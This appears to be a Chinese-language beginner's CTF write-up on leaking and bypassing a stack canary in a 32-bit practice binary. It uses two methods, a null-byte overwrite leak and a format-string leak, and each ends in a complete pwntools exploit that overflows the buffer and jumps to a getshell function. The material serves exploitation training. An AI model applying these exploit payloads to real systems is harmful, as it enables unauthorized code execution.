一、字符串截断获取canary
原理:
-
Canary设计其低字节为
\x00
,本意是阻止被read、write等函数直接将Canary读出来。通过栈溢出将低位的\x00
覆写,就可以读出Canary的值。
二话不说,上题
基础检查发现canary
丢入ida中
发现在循环printf,并且存在字符串漏洞(这个稍后再谈)
同时有getshell函数
可以直接拿shell
接下来就是找canary到栈顶的偏移
有两种方法,这里先介绍第一种
看汇编语言
跟进这段函数的汇编
发现 多了一段异或比较
可以判断canary在var_c里,
所以buf 到canary的偏移为0x70-0xc
payload1的构造为
payload1=b'a'*(0x70-0xc)
#注意 必须用sendline 发送 用\n来覆盖'\x00'
发送之后接受字符
canary=u32(io.recv(4))-0xa
#这里之所以要-0xa 是要去掉\n
最后构造payload2
payload2=b'a'*(0x70-0xc)+p32(canary)+b'a'*0xc+p32(getshell)
最终exp为
from pwn import *
context.binary = '1122'
#context.log_level = 'debug'
io = process('./1122')
get_shell = ELF("./1122").sym["getshell"]
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = b"A"*100
io.sendline(payload)
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = b"a"*100+p32(Canary)+b"a"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()
最后强调一下
context.binary = '1122'
#context.log_level = 'debug'
这两行必须要有一个,否则无法运行
最后运行得到shell
二、字符串漏洞泄露canary
原理
-
格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出canary的值,从而进行栈溢出
还是上面那道题
这次来介绍一下另一种寻找偏移的办法
用gdb 调试
先用gdb在printf处下断点
找到第一个printf下的栈帧0xffffcf98
从ida上知道程序主要在vuln 函数里面
用gdb 运行文件并在函数下断点运行
发现有一段异或比较,可以判断canary 的值就在eax里面
不断步入到0x8049256
记住eax的值
查看前50的栈帧
发现canary存在地址0xc中
可以计算偏移
继续点n
到read 函数运行(这一步很重要,否则偏移不准确)
再次查看栈帧计算此时canary 到esp的偏移量
因为程序是32位
4个字节一组就是31组
所以canary的偏移为31
这部分可参考
https://www.freebuf.com/articles/system/233515.html
https://blog.csdn.net/glhdbk/article/details/100595050
则payload1可构造
payload_1 = b'%x-' * ( 6 + 25)
conn.send(payload_1)
recvbytes = conn.recv()
# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)
泄露出canary的值
最后进行再一次栈溢出
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a'*0xc+ p32(getshell)
最终exp
from pwn import *
context.log_level = 'debug'
#context.log_level = 'debug'
conn = process('./1122')
getshell = 0x080491b6
conn.recvuntil('Hello Hacker!\n')
# 第一次溢出
payload_1 = b'%x-' * ( 6 + 25)
conn.send(payload_1)
recvbytes = conn.recv()
# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)
print(f'Canary: {hex(canary)}')
# 第二次溢出
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a'*0xc+ p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()
笔者纯小白 有错误希望指出